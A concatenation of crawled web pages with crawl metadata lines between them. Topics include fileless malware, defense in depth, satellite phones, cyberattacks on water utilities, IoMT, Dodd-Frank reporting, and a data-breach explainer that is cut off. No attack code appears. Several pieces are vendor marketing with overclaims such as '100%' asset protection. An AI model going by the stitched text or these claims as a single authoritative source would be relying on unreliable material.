Preventing fileless malware attacks involves focusing on the vulnerabilities they typically take advantage of. For example, because fileless malware tends to use trusted applications, a cybersecurity company can look for applications running within your environment in an abnormal way. This could indicate that they are being used in a fileless malware attack.
Also, by using IOAs, it is possible to not only identify fileless malware, but you can also stop it from spreading or completing the attack sequence.
How Can Fortinet Help?
A powerful way to stay a step ahead of fileless malware is to prevent it from getting onto your system in the first place using web filtering. FortiGuard, an artificial intelligence-powered web filtering service from Fortinet, can block the phishing emails that fileless malware attacks often depend on. This enables you to keep fileless malware out of your system, preventing it from accessing trusted processes.
Is fileless malware a virus?
No, fileless malware is not a virus, and it cannot be detected with traditional antivirus technology.
How is fileless malware delivered?
Fileless malware is typically delivered using malicious links or attachments sent through a phishing email. | <urn:uuid:a2a61d8e-9b3e-4b05-a619-ab1f1af407c5> | CC-MAIN-2022-40 | https://www.fortinet.com/br/resources/cyberglossary/fileless-malware | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030337971.74/warc/CC-MAIN-20221007045521-20221007075521-00136.warc.gz | en | 0.922366 | 1,470 | 2.96875 | 3 |
Cellular vs. Satellite: Understanding the Differences
Almost everyone has a cell phone these days — from your little sister in elementary school all the way up to your grandmother. It’s hard to imagine life without these handheld devices, which allow us to do so much more than simply make phone calls.
In fact, today’s cell phones are so powerful and have so many capabilities that it’s difficult to imagine a situation when a cell phone won’t come in handy. And while it’s true that for the vast majority of the time, and in the vast majority of situations, a cell phone will allow you to stay in touch or get help when you need it, there are actually plenty of situations when a cell phone just won’t cut it. In those cases, you need a satellite phone if you’re going to make a connection.
Satellite & Cell: A Vast Global Network
You might be thinking “A cell phone and a satellite phone are the same thing, aren’t they?” The truth is they are not. Your cell phone carrier might have an extensive network that allows you to make calls to and from almost any location, access the Internet or run applications, but cell phones transmit signals very differently than satellite phones.
Difference Between Satellite Phone and Cell Phone
Cellular phones transmit via land-based towers. Consider each signal — your call — to be a cell. When you are in a particular area, that cell is carried by the closest tower. If you move to a different area, the cell attaches a closer tower, and so on. That is why you might experience weak signals or dropped calls on your cell phone: There either isn’t a tower to support the cell nearby (leading to dropped calls or no service) or the tower is too far away, and the cell isn’t as supported as it could be.
Satellite phones, on the other hand, do not rely on towers, but instead transmit signals via satellites orbiting the earth. The signal from your device transmits directly to the nearest satellite, which then sends the signal to the nearest gateway, or land-based center, which then transmits the signal to the receiving phone; the receiving phone can be a land line, cell phone or another sat phone.
The fact that satellite signals are transmitted far above the earth and do not rely on towers is what makes them useful in remote areas. It would be impossible to place cell phone towers everywhere to ensure continuous signals — for example, in the middle of the ocean or in the remote wilderness. This is why satellite phones are more useful than cell phones to those who are traveling to isolated areas or need connectivity in remote locations.
Functionality of Cell Phones & Satellite Phones
When it comes to functionality, cell phones do have a distinct advantage over satellite phones. Satellite phones are designed specifically for telephonic communications, meaning that most allow you to make and receive calls — and that’s about it. However, newer models are coming out with access to Internet in certain “hotspots” and the capability to send and receive text messages.
That being said, satellite phones can be more useful in emergency situations because they do not rely on land-based towers and networks to operate. Many emergency responders rely on satellite phones because they allow for communication even during power outages, which often shut down land-based communications.
Cost and Design
The abundance of cell phones and the ease of creating land-based networks means that cell phones — and calling and data plans — are affordable. For under $100, one can purchase a fully functional smart phone and data plan that allows them unlimited calling, texting and data.
Cellular vs. Satellite
Satellite phones are more expensive, which is why many people who only need them on a limited basis turn to rental plans. Again, it’s important to consider the purpose of a satellite phone and its usefulness in an emergency situation. In an emergency situation or when you have no other means of staying in touch, a satellite phone is a viable and reasonable option.
Cellular phones are certainly useful, and for everyday communications, they are more than adequate. But don’t make the mistake of thinking that your cell phone will work everywhere or that it’s just as good as a satellite phone. In some situations, you need the advanced capabilities and world-wide network that a sat phone offers.
GDS Can Connect Your Wherever You Are
Now that you understand more about satellite phones vs cell phones you may still need guidance on what to use and where depending on your location or where you maybe traveling to. Global Data Systems can help you choose the right technology & cost effective connectivity solutions for your usage scenario.
Contact us for a quick discovery call to see how we can help or answer any questions you may have. | <urn:uuid:c9b59899-55bc-45c3-95ed-6e2f74f41c62> | CC-MAIN-2022-40 | https://www.getgds.com/resources/blog/connectivity/cellular-vs-satellite-understanding-the-differences | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030337971.74/warc/CC-MAIN-20221007045521-20221007075521-00136.warc.gz | en | 0.934481 | 999 | 3.34375 | 3 |
Defense in Depth
What is Defense in Depth?
Defense in depth is a strategy that leverages multiple security measures to protect an organization's assets. The thinking is that if one line of defense is compromised, additional layers exist as a backup to ensure that threats are stopped along the way. Defense in depth addresses the security vulnerabilities inherent not only with hardware and software but also with people, as negligence or human error are often the cause of a security breach.
Today’s cyber threats are growing rapidly in scale and sophistication. Defense in depth is a comprehensive approach that employs a combination of advanced security tools to protect an organization's endpoints, data, applications, and networks. The goal is to stop cyber threats before they happen, but a solid defense-in-depth strategy also thwarts an attack that is already underway, preventing additional damage from taking place.
Antivirus software, firewalls, secure gateways, and virtual private networks (VPNs) serve as traditional corporate network defenses and are certainly still instrumental in a defense-in-depth strategy. However, more sophisticated measures, such as the use of machine learning (ML) to detect anomalies in the behavior of employees and endpoints, are now being used to build the strongest and most complete defense possible.
A Changing Work Environment and Threat Landscape
Defense in depth is needed now more than ever as more employees work from home and as organizations increasingly rely on cloud-based services. With employees working from home, organizations must address the security risks associated with employees using their own devices for work and their home Wi-Fi connection to enter the corporate network.
Even with IT resources in place, vulnerabilities are inherent in devices used for both work and personal use—vulnerabilities exploited by cyber criminals. Further, with more companies using cloud-hosted, Software-as-a-Service (SaaS) applications, many of which are mission-critical, the privacy and security of an increasing amount of data entered through websites remain difficult to manage.
Defense in Depth is Similar To Physical Security
The concept of defense in depth is no different from physical security, such as that used for a building or to start work in an office environment. Building security has many layers, some of which may be considered redundant:
- An employee uses a key card to enter the building.
- A security guard keeps watch in the lobby.
- Security cameras record all movements in the lobby, on each floor, and in the elevator.
- Once arriving at her floor, an employee must use her key card to open the door to the office floor.
- Once at her desk, the employee turns on her computer and enters her password and temporary four-digit code (two-factor authentication) to log in to the company network.
These are, of course, just a handful of security steps that the employee must take to begin work for the day. Some of these may seem unnecessary and some measures may seem stronger than others, but taken together, they are analogous to a defense-in-depth strategy in place within organizations.
Common Cybersecurity Issues
The following are some common issues organizations have to deal with when implementing a cybersecurity strategy:
- Anti-malware software has not been updated or is not installed on all devices.
- Employees have not been trained and are falling victim to phishing schemes.
- Software patches are not being updated or are ignored.
- Security policies are not enforced or even known by employees.
- Missing or poorly implemented encryption.
- Remote employees are connecting to unsecured networks, such as the public internet.
- Physical security flaws, such as unsecured server rooms.
- Business partners, such as cloud service providers, are not fully secure.
Imagine all of these issues taking place at once. The only way for an enterprise to defend itself from vulnerabilities is with a solid, comprehensive defense-in-depth strategy. If one measure fails, another measure is on standby ready to take action.
The Different Elements of a Defense-in-Depth System
The multi-tiered approach to security in a defense-in-depth system incorporates elements from the following areas:
- Physical controls: Examples include key cards to enter a building or scanners to read fingerprints.
- Network security controls: This is software that authenticates an employee to enter the network and use a device or application.
- Administrative controls: This authorizes employees, once authenticated, to access only certain applications or parts of the network.
- Antivirus: This is the tool that stops malicious software from entering the network and spreading.
- Behavioral analysis: Algorithms and ML can detect anomalies in the behavior of employees and in the applications and devices themselves.
How Does Defense in Depth Help?
By layering and even duplicating security processes, the likelihood of a breach is minimized. Most organizations recognize that a single layer of security or a single point product (e.g., a firewall) does not go far enough to protect the enterprise from the increasing sophistication of today's cyber criminals.
For example, if a hacker successfully infiltrates an organization's network, defense in depth gives administrators time to launch countermeasures. Antivirus software and firewalls should be in place to block further entry, protecting the organization's applications and data from compromise.
Redundancy in security may, at first glance, seem wasteful. However, a defense-in-depth strategy prevents threats because when one security product fails, another security product is in place to take over.
What is Layered Security and How Does it Relate To Defense in Depth?
Though used interchangeably (and incorrectly), the term "layered security" is not the same as defense in depth.
Layered security is having multiple products in place to address one single aspect of security. The products may be very similar and aim to do the same job, but in a layered security strategy, they are both necessary. Using seemingly redundant products strengthens the enterprise's defense against threats.
For example, a gateway and a firewall both determine which data should be allowed to enter the network. There are certainly differences between the two—a gateway is hardware while a firewall is both hardware and software—but they both aim to restrict access to certain websites and applications. Once the gateway and firewall have done their jobs—an employee has been allowed to visit a particular website, for example—another security product or service will have to take over if the employee wants to enter a password to log in to that website.
The next security product can be multi-factor authentication (MFA), which prevents access to a website unless multiple credentials are provided. In other words, layered security only addresses one dimension of security or one vector of attack while defense in depth is broader, multi-faceted, and more strategic in scope. It can also be said that layered security is a subset of defense in depth.
A layered security strategy is evaluated in three different areas: administrative, physical, and technical. Administrative controls include the policies and procedures needed to restrict unauthorized access, such as role-based access control (RBAC) or employee training to protect against phishing scams. Physical controls incorporate physically securing access to the IT system, such as locking server rooms, while technical controls include the mix of products and services the organization selects to address security.
What Are the Essentials Layers in a Defense-in-Depth Mechanism?
Core layers to carry out a defense in depth strategy should include:
- Strong, complex passwords
- Antivirus software
- Secure gateway
- Patch management
- Backup and recovery
- The principle of least privilege, or giving a user the minimum access level or permissions needed to do his or her job
As companies grow and the number of devices, applications, and services used across the organization increases, these serve as important security layers in a defense-in-depth strategy:
- Two-factor authentication (2FA) or multi-factor authentication (MFA)
- Intrusion detection and prevention systems
- Endpoint detection and response (EDR)
- Network segmentation
- Data loss prevention
How Fortinet Can Help?
The Fortinet Security Fabric is a cybersecurity platform that delivers broad visibility of an enterprise's attack surface and the automated workflows to increase response speed. The ability to identify and assess the risk of all endpoints and applications across the network is key to the success of a defense-in-depth strategy. As the attack surface grows in size and complexity, cyberattackers use sophisticated strategies to exploit weaknesses across the organization.
The Fortinet Security Fabric is an integrated solution that helps organizations manage and optimize several different point products, such as firewalls, network switches, and VPNs.
What is a defense-in-depth strategy?
A defense-in-depth strategy uses multiple security measures to protect 100% of an organization's assets.
What are the three elements of layered security?
Layered security requires administrative, physical, and technical controls. Administrative controls consist of the policies and procedures that have to be in place to minimize vulnerabilities. These can include automated access to applications based on the employee's role or employee training to identify phishing scams.
Physical controls include securing physical access to the IT system, such as locking server rooms or IT storage facilities. Technical controls are often the most complex and include the mix of products and services the organization adopts to address security.
What is the difference between layered security and defense in depth?
Layered security leverages multiple security products to address only one security aspect, such as detection intrusion or email filtering, while defense in depth is broader and more strategic in scope. Defense in depth incorporates all of the organization's security measures to address all issues related to endpoint, application, and network security.
Put another way, layered security is one aspect of security while defense in depth is a comprehensive strategic plan. Defense in depth covers more than just handling an attack and presumes a predictive, broader, and more varied view of defense. | <urn:uuid:2747bd4c-23ef-4c76-ac82-449e10a0bf03> | CC-MAIN-2022-40 | https://www.fortinet.com/lat/resources/cyberglossary/defense-in-depth | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030334912.28/warc/CC-MAIN-20220926144455-20220926174455-00336.warc.gz | en | 0.941779 | 2,065 | 2.53125 | 3 |
A data warehouse is a large scale database designed for querying massive sets of data. Typically, businesses archive data into a data warehouse from multiple databases so that they can run analytics against all of the data sets that they have. Cloud computing makes data warehousing more attainable, as it is as simple as launching a data warehouse cluster and paying for how long it is running and how much data it is storing. Amazon offers AWS Redshift as a data warehouse offering, while Microsoft offers SQL Warehouse. In order to get data into a data warehouse, typically other data sources are extracted, transformed and loaded into the warehouse, so that it can be queried by analysts. This process is known as ETL, and requires tools and developers to facilitate.
in other words
Your pantry full of data | <urn:uuid:10881a61-64ad-469f-a1af-d583f2504c30> | CC-MAIN-2022-40 | https://www.intricately.com/glossary/data-warehouse | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030335059.31/warc/CC-MAIN-20220927225413-20220928015413-00336.warc.gz | en | 0.957638 | 163 | 2.53125 | 3 |
First Prototype of a Distributed Quantum Computer Linked Qubits with linking the qubits with a 60-Meter-Long Optical Fiber
(HPCWire) Severin Daiss, Stefan Langenfeld, and colleagues from the Max Planck Institute of Quantum Optics in Garching have successfully interconnected two such qubits located in different labs to a distributed quantum computer by linking the qubits with a 60-meter-long optical fiber. Over such a distance they realized a quantum-logic gate—the basic building block of a quantum computer. It makes the system the worldwide first prototype of a distributed quantum computer.
In work supported by the Institute of Photonic Sciences (Castelldefels, Spain), the team succeeded in connecting two qubit modules across a 60-meter distance in such a way that they effectively form a basic quantum computer with two qubits. “Across this distance, we perform a quantum computing operation between two independent qubit setups in different laboratories,” Daiss emphasizes. This enables the possibility to merge smaller quantum computers to a joint processing unit.
Team leader and institute director Gerhard Rempe believes the result will allow to further advance the technology: “Our scheme opens up a new development path for distributed quantum computing.” It could enable, for instance, to build a distributed quantum computer consisting of many modules with few qubits that are interconnected with the newly introduced method. This approach could circumvent the limitation of existing quantum computers to integrate more qubits into a single setup and could therefore allow more powerful systems. | <urn:uuid:d86e035b-2c0c-443b-ba5f-71ea2f579a57> | CC-MAIN-2022-40 | https://www.insidequantumtechnology.com/news-archive/first-prototype-of-a-distributed-quantum-computer-linked-qubits-with-linking-the-qubits-with-a-60-meter-long-optical-fiber/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030335491.4/warc/CC-MAIN-20220930145518-20220930175518-00336.warc.gz | en | 0.907618 | 315 | 2.96875 | 3 |
A one-time password or passcode (OTP) is a string of characters or numbers that authenticates a user for a single login attempt into a network or transaction. An algorithm generates a unique value for each one-time password by factoring in contextual information, like time-based data or previous login events.
OTP’s can also come in the form of a card or USB device that displays a one time password on a digital display.
The OTP feature prevents some forms of identity theft by making sure that a captured user name/password pair cannot be used a second time.
Typically the user’s login name stays the same, and the one-time password changes with each login.
One-time passwords (aka One-time passcodes) are a form of strong authentication, providing much better protection to eBanking, corporate networks, and other systems containing sensitive data.
Although this authentication method is convenient, it is not secure because online identity theft – using phishing, keyboard logging, man-in-the-middle attacks, and other practices – is increasing worldwide.
Strong authentication systems address the limitations of static passwords by incorporating an additional security credential, such as a temporary one-time password (OTP), to protect network access and end-users digital identities.
When authenticating users, companies have to keep three independent factors to keep in mind:
- Knowledge. Things the user knows, like a password, PIN, or security question answer.
- Possession. Things the user has, such as a token, smart card, or phone.
- Biometric. Things that identify the user uniquely, like fingerprints or behavioral data. | <urn:uuid:7986fea5-98e8-492c-80f5-aabeb146503a> | CC-MAIN-2022-40 | https://www.cardlogix.com/tag/one-time-password/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030336978.73/warc/CC-MAIN-20221001230322-20221002020322-00336.warc.gz | en | 0.895387 | 343 | 3.34375 | 3 |
NetworkTigers explores the topic of cybersecurity and safe water, which made the news roundup last week.
America is home to over 250,000 rivers, making for a total of over 3,500,000 miles of freshwater throughout the nation. The US is also home to the largest freshwater lake system on planet Earth, the Great Lakes. From these lakes, rivers, underground basins and reservoirs, the United States contains more than 7% of the Earth’s renewable freshwater resources. While 7% may seem small, this is proportionately high compared to the estimated 4.3% of the world’s population who lives in America.
Despite this abundance of freshwater, clean drinking water is still in jeopardy in certain areas of the country. One of the greatest risks facing any area’s clean drinking water supply is cyber attack and the threat of remote sabotage. In recent years, the rate of cybersecurity incidents in the US water sector has increased by 78.6%.
Recent cyber attacks on clean water
In the past few years, several cities across America have witnessed disturbing and dangerous cyber attacks that have targeted clean drinking water. Had any of these attacks succeeded in their entirety, scores of people could have been poisoned, often without the source being detected until much later.
- A 2021 attack in the San Francisco Bay area was perpetrated by a hacker who logged into a former staff member’s TeamViewer account, a software that allows employees remote access into the water treatment plant’s network. The hack deleted several necessary programs that treated Bay area drinking water. This cybercrime went undetected until the next day.
- About a month after the Bay area attack, a hacker in Oldsmar, Florida attempted to raise chemical levels in the local drinking water supply to dangerous levels. This attack would have poisoned drinking, cooking, bathing, and medical water supplies for every person in the vicinity. The hacker or hacking group attempted to raise the levels of sodium hydroxide, or lye, but were thwarted by an employee who noticed the breach in real time and was able to reverse the command before the chemical was released into the water supply.
- In Ellsworth, Kansas, a similar attack using remote software was reported when a former employee used their login, which had not been deactivated, in order to shut off the sanitation system for the town’s drinking water.
Factors in cybersecurity and water safety
The US has about 150,000 public water utilities and systems, most of which are serviced or maintained by local municipalities or cities. Because of this, there is not a centralized standard or defined set of cybersecurity practices. Budget cuts, shifting priorities, corruption, uncaring public officials, racial or economic prejudice, and other factors can often allocate funding away from protecting these crucial facilities. However, investing in cybersecurity has never been more critical than at the present moment.
The Cyberspace Solarium Commission, a bipartisan nonprofit, identifies water utilities as one of the top vulnerabilities in the United States when it comes to facing cyber attack from local or foreign actors, alongside the electric grid and areas of the financial and banking system. The Department of Homeland Security and the FBI have both also attempted to raise the alert about the possibility of Russian government sabotage of the US water sector as part of a multi-stage attack.
Common threats to water safety through cyber attack
The Cybersecurity & Infrastructure Security Agency (CISA) has identified some of the most common threats to water utilities in the US. Due to the rise of remote work from the COVID-19 crisis, attempts to hack into the water sector have only continued to rise from players both near and far.
CISA has labeled the following as some of the most problematic cyber threats in today’s water utility landscape:
- Spearfishing, often using phony emails or malicious email attachments, in an attempt to deliver ransomware. This kind of targeting employees is especially dangerous due to the rise of less secure remote work systems.
- Older, under-funded, or outdated systems
- Vulnerable firmware or systems not being frequently updated
- Insider attacks from employees who may hold onto improper credentials, even after being terminated
Attempts to address the growing cyber threat
On Wednesday, the National Association of Water Companies (NAWC) launched their annual Cybersecurity Symposium in Washington, DC. One of the main focuses of the NAWC presentation is the unequal distribution of cybersecurity resources and prioritization across US water systems. The NAWC supports the development of a national standard for cybersecurity to avoid dangerous attacks.
The Biden Administration has also released the Water Sector Action Plan in an attempt to guide municipalities and privately owned utilities towards safer cybersecurity practices. Some of the main priorities advocated for by the Water Sector Action Plan are to reduce the reporting time for incidents, share information with the federal government, and to enlist the help of the EPA in implementing new cybersecurity technology for individual systems.
Moving forward in an uncertain landscape
Local, state, and federal governments need to help water utilities face ever-evolving threats in today’s cyber landscape. An under-funded or under-protected water sector puts everybody at risk. Cybersecurity is the latest frontier that needs support, as the scattered quilt of water utilities scramble to provide safe, clean drinking water to every American.
- How the United States Uses Water
- PROTECTING DRINKING WATER UTILITIES FROM CYBER THREATS
- Hackers Tried to Poison California Water Supply in Major Cyber Attack
- Cybersecurity needs to be top priority in nation’s water utilities | The Hill
- US Water Supply System Being Targeted By Cybercriminals
- Two More Cyber Attacks on US Water Supply Highlights Concerns About Vulnerabilities, but Sensational Headlines Sometimes Overstate the Threat to Public Safety – CPO Magazine
- Opinion | The cybersecurity risk to our water supply is real. We need to prepare. – The Washington Post
- Ongoing Cyber Threats to US Water and Wastewater Systems | CISA
- Biden Administration Seeks To Bolster Defenses Against Cyberattacks On Water Systems
- US unveils plan to improve cyber defenses for water utilities | Reuters | <urn:uuid:e7e0c8ad-5e86-4cc7-b21a-4e6d070a5a49> | CC-MAIN-2022-40 | https://news.networktigers.com/opinion/cybersecurity-and-safe-water-assessing-the-threat/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030337404.30/warc/CC-MAIN-20221003070342-20221003100342-00336.warc.gz | en | 0.943193 | 1,258 | 3.109375 | 3 |
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Four IoMT Trends to Look out for in 2021
IoMT can be used in hospitals to monitor and track all patients, doctors, and staff across wards in real-time. This can be used to respond quickly to emergencies or physical damage.
Fremont, CA: IoMT, or the Internet of Medical Things, is the result of a collaboration between internet-connected medical devices and patient data. The number of linked medical devices that can produce, gather, and transmit health data and connect to healthcare provider networks is growing. IoMT has risen as a result of this. Because the technology is linked with smartphone applications, IoMT enables detailed diagnostics with minimal errors at a relatively low cost. In addition, it allows patients to communicate their health information to healthcare providers via mobile apps.
Here are five IoMT trends to look out for:
3D models are more practical and can resemble human components. Because of its realistic properties, this technology is projected to play a significant role in teaching future medical professionals and preparing for surgeries. Low-cost artificial body parts can also be created using 3D printers. It can be used to print medical equipment in difficult-to-reach places, saving money on logistics.
Remote patient monitoring
Remote patient monitoring is the most popular use of IoT devices in medical care. Health data such as heart rate, body temperature, and blood pressure can be automatically captured by the internet of medical things. This removes the need for patients to come to the hospital in person.
If personalized healthcare is implemented, the danger of human loss can be reduced sufficiently. Through real-time monitoring parameters and smart analytical data, it assumes and alerts patients about any symptoms of any disease.
Medical devices with nanotechnology have been on the market for a few years. It has a significant impact on CNS (Central Nervous System) diseases, infection control, cancer, and heart disease. It aids in the early detection of disorders, allowing for more accurate diagnosis at the earliest possible time.
IoMT can be used in hospitals to monitor and track all patients, doctors, and staff across wards in real-time. This can be used to respond quickly to emergencies or physical damage. For example, a physical visit to a hospital entails a lengthy process that involves registration, ward assignment, and other details. IoMT devices will aid healthcare providers in automating processes and keeping track of their patients. | <urn:uuid:63c01df5-544c-4bce-91c1-5ad3f00f512e> | CC-MAIN-2022-40 | https://www.cioapplications.com/news/four-iomt-trends-to-look-out-for-in-2021-nid-8629.html | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030337404.30/warc/CC-MAIN-20221003070342-20221003100342-00336.warc.gz | en | 0.921051 | 515 | 2.578125 | 3 |
Health communication systems designed for rural, developing countries -- where hospitals are often understaffed and transportation is inadequate -- are being adapted to improve care in U.S. cities.
In the last decade, community health efforts have been made more effective by a simple insight: that time, money, and sometimes even lives can be saved through texting. At St. Gabriel's Hospital in Malawi, for example, 75 community health workers were trained to use text messages to communicate patient information, appointment reminders, and other health-related notifications to patients. Through this mobile health, or mHealth, initiative, the hospital saved approximately 2,048 hours of worker time and $3,000 in fuel, while doubling the capacity of the tuberculosis treatment program.
The case for this growing field in the developing world provokes some controversy, however. Tina Rosenberg, writing in The New York Times, argued recently that the field is in flux. "Roughly a decade after the start of mHealth ... these expectations are far from being met," she writes. "The delivery system is there. But we don't yet know what to deliver." Most of the testing done in the field, she goes on to argue, has focused on feasibility, not real health impacts. What's needed, many insist, is the use of randomized control trials -- the gold standard in science -- to help determine what actually helps the world's poor, versus what development workers and funders assume will.
After about a decade of attracting big philanthropic investment without enough measurable results, Uganda and South Africa have both put a hold on any new mHealth pilots in their countries. And as the developing world closes its doors, some nonprofits are turning their sights to the U.S. for further study. "While there is still much to do in low and middle income countries, there is a lot that can be learned and transferred from the experience of designing and implementing mHealth systems in resource constrained settings here in the U.S.," explained Patricia Mechael, the executive director of mHealth Alliance at the United Nations Foundation. If they can improve health outcomes through randomized control trials, they may be able to renew the philanthropic sectors' belief in the viability of the field. | <urn:uuid:93cd4b09-45d1-4863-b61f-397e4b052f8b> | CC-MAIN-2022-40 | https://www.nextgov.com/cxo-briefing/2013/04/medicine-text-message-learning-developing-world/62315/?oref=ng-next-story | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030337516.13/warc/CC-MAIN-20221004152839-20221004182839-00336.warc.gz | en | 0.958751 | 448 | 2.890625 | 3 |
Banks are under the scrutiny of various regulatory bodies to keep a check on their activities, especially the banks conducting risky operations that could result in a meltdown, as was the case in 2008. However, since the enactment of the Dodd-Frank Act, they are now under a lot of stress to effectively achieve and maintain regulatory compliance. The regulatory environment today is more dynamic and challenging than ever before, and banks hampered by their existing legacy systems are finding it tough to cope with the changes.
We previously analyzed how Dodd-Frank and how the new regulations have impacted large banks as well as midsize and small banks. This time, we will look at how the law meant to address one issue (avoid a financial meltdown similar to 2008) might have created other challenges for banks – the most important one that of regulatory reporting:
What is Dodd-Frank?
Post the 2008 Financial Crisis, the Obama administration passed ‘The Dodd-Frank Wall Street Reform and Consumer Protection Act’, with the main motive to lower risk in various parts of the US financial system. The Act aims to prevent another financial crisis by creating new financial regulatory processes that enforce transparency and accountability while implementing rules for consumer protection.
The Act is named after US Senator Christopher J. Dodd and US Representative Barney Franks due to their significant involvement in the creation and passing of the act. It was introduced on March 15, 2010 and presented to the Senate on May 20. It was subsequently revised and approved by the House on June 20. On July 21, 2010, President Obama signed the Dodd-Frank Act into law.
What regulatory changes did the Act institute?
Through the Dodd-Frank Act, banks are now required to increase their capital cushion (minimum liquidity holdings each financial institution is expected to hold). The Act eliminates loopholes for hedge funds, derivatives and mortgage brokers, while the Volker Rule (passed on Dec 10, 2013) bans Wall Street banks from owning hedge funds or using investors’ funds to trade derivatives for their own profit.
Other than creating additional regulations for banks to comply with, the Dodd-Frank Act established new government agencies such as:
Financial Stability Oversight Council (FSOC)
- Monitors performance of companies deemed “too big to fail” so they don’t pose a threat to the economy due to their size
- Oversees non-bank financial firms like hedge funds
Orderly Liquidation Authority
- Provides money to assist with liquidation of financial companies (those identified as financially weak)
- Can split up large banks so they don’t become “too big to fail”
- Liquidates or restructures firms that are financially weak
Federal Insurance Office (FIO)
- Identifies and monitors insurance companies that pose a systematic risk
Consumer Financial Protection Bureau (CFPB)
- Prevents risky mortgage lending
- Implements improved clarity of mortgage paperwork for customers
- Has reduced incentives for expensive loans, to prevent mortgage brokers from pushing home buyers into higher loans
- Has instituted an act that requires loan terms to be presented in a new, easy-to-understand format (applies to credit card companies and consumer lenders too)
In addition, Dodd-Frank set up a Council chaired by the Treasury Secretary, having nine members: Fed, SEC, CFTC, OCC, FDIC, FHFA and CFPA. Existing regulators and laws were made more stringent, giving the Government Accountability Office (GAO) the right to audit the Fed’s emergency loans during the financial crisis.
Why are new regulations challenging for banks?
Regulatory reporting is the timely and accurate submission of raw or summary data required by regulators to evaluate a bank’s operations and overall status, helping regulators determine whether the financial institution is in compliance with all applicable regulatory provisions.
The introduction of new regulations and regulators mean banks and financial institutions are now being compelled to develop more robust processes and systems, owing to increased requirements of reporting, calculations, reconciliations, audits, etc. To add to their pressures, regulatory requirements differ across regions, adding more regulatory bodies to supervise a bank’s activities as they expand to more geographies. In addition, The Basel Committee on Banking Supervision’s regulations for effective risk data aggregation and risk reporting, known as BCBS 239 and other regulations such as Basel III, are challenging banks to come up with tighter reporting systems.
Other than generating information that can be used to create reports, banks need to look into the accuracy of the reports and their timeliness. Banks need to disclose accurate information on a periodic basis, for data inaccuracy and delay can mean huge fines. In a recent case (April 2015), Bank of America’s Merrill Lynch was fined $20 million by Financial Conduct Authority for inaccurate reporting of transactions.
The result is that banks are spending a lot to meet growing compliance demands and allocating more resources to address the increased regulatory requirements. 40% of bankers cited a need for dedicated resources, 1/5 of banks have made a significant increase in spending and 1/10 will be spending on consultancy and advisory to meet regulatory demands. An example of this regulatory challenge is the news of Citigroup increasing its employees to nearly 30,000 dedicated to work on regulatory and compliance issues.
Shailesh Karia, Ex CIO and MD Deutshe Bank states, “55%+ of IT spend is planned for regulatory changes in 2016 (up from 2015)”. With over 30+ years of experience working with global Investment Banks and Consultancy, Mr. Karia adds, “The top 5 regulatory priorities for banks in 2015-2016 are: EMIR (regulated and implemented by the European Securities and Markets Authority), CRD IV, FATCA (tax), Dodd Frank and MIFID II.”
The seismic shift to adopting new regulations and new technologies has led to an even more dynamic regulatory environment which most banks are struggling to cope with. This has led financial institutions to look for fresh and innovative approaches and solutions like those offered by RegTech firms.
Hexanika, a RegTech Compliance Solution Provider
Hexanika is a RegTech big data software company, which has developed the revolutionary software platform SmartJoin™ and software product called SmartReg™ for financial institutions to address data sourcing and reporting challenges for regulatory compliance. SmartJoin™ improves data quality while the automated nature of SmartReg™ keeps regulatory reporting in harmony with the dynamic regulatory requirements and keeps pace with new developments and latest regulatory updates, thereby catering to market needs efficiently.
Hexanika’s product strategy centers on providing Smart Solutions towards Big Data Analytics, Real-time Reporting, Risk Management, and Business and Technology Transformation challenges that help financial organizations thrive and succeed in changing business environment. Our deep banking regulatory knowledge will help banks address issues related to data integration and consolidation, while also helping them create accurate reports on a timely basis in an easy-to-do manner.
How can banks keep up with changes in Regulatory Reporting: https://hexanika.com/how-can-banks-keep-up-with-changes-in-regulatory-reporting/
Regulatory Impact on Large Banks: https://hexanika.com/regulatory-impact-on-large-banks/
Regtech is the new Fintech: https://hexanika.com/regtech-is-the-new-fintech/ | <urn:uuid:debff426-5208-4feb-8971-7acf47083459> | CC-MAIN-2022-40 | https://hexanika.com/dodd-franks-impact-on-regulatory-reporting/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030338001.99/warc/CC-MAIN-20221007080917-20221007110917-00336.warc.gz | en | 0.943471 | 1,545 | 2.90625 | 3 |
A data breach isn’t just a concern for cybersecurity officers anymore. Entailing costly remediation activities and reputational damage, a data breach becomes a complex financial issue for the whole business. Reducing the risk of a data breach can save your company millions of dollars in addition to saving your reputation and client loyalty.
The best way to reduce the cost of a possible data breach is to learn about how breaches happen. In this article, we answer the question What is the average cost of a data breach? We also consider cost-forming factors, cover the most common types of data breaches, and give some tips for protecting your organization from a data breach.
What is a data breach?
As defined by NIST, a data breach is “an incident that involves sensitive, protected, or confidential information being copied, transmitted, viewed, stolen, or used by an individual unauthorized to do so.”
Data breaches usually affect financial, medical, or personally identifiable information of individuals and organizations. A leak of such sensitive information can lead to numerous financial losses in the form of fines and penalties, remediation costs, loss of potential profits, etc. Even more alarmingly, the average total cost of a data breach keeps growing year after year.
Because of the sudden switch to remote work in 2020, the security posture of many organizations was weakened. Malicious actors saw it as an opportunity to attack, and that’s why the number of data breaches increased rapidly in 2020 and 2021. By October 2021, 1,291 data breaches had been reported for the year to date compared to 1,108 breaches reported during the whole of 2020 according to the 2021 Q3 Data Breach Analysis by the Identity Theft Research Center.
Which industries suffer the most from data breaches?
The Ponemon Institute in its 2021 Cost of a Data Breach Report analyzed data from 537 organizations around the world that had suffered a data breach. They found that healthcare, financial, pharmaceutical, technology, and energy organizations suffered the costliest data breaches.
What causes data breaches?
The primary motivators of hackers and malicious insiders are financial gain and corporate espionage. Less common goals are hacktivism, revenge on the company, and government espionage. The five most common causes of data breaches are the following:
1. Hacking. Organized crime is the most widespread cause of data breaches according to the Verizon 2021 Data Breach Investigation Report [PDF]. Hackers aim to steal sensitive data and either sell it or use it for their own benefit. The most common methods of hacking include DDoS attacks, credential theft, use of backdoors, command and control attacks, and brute forcing.
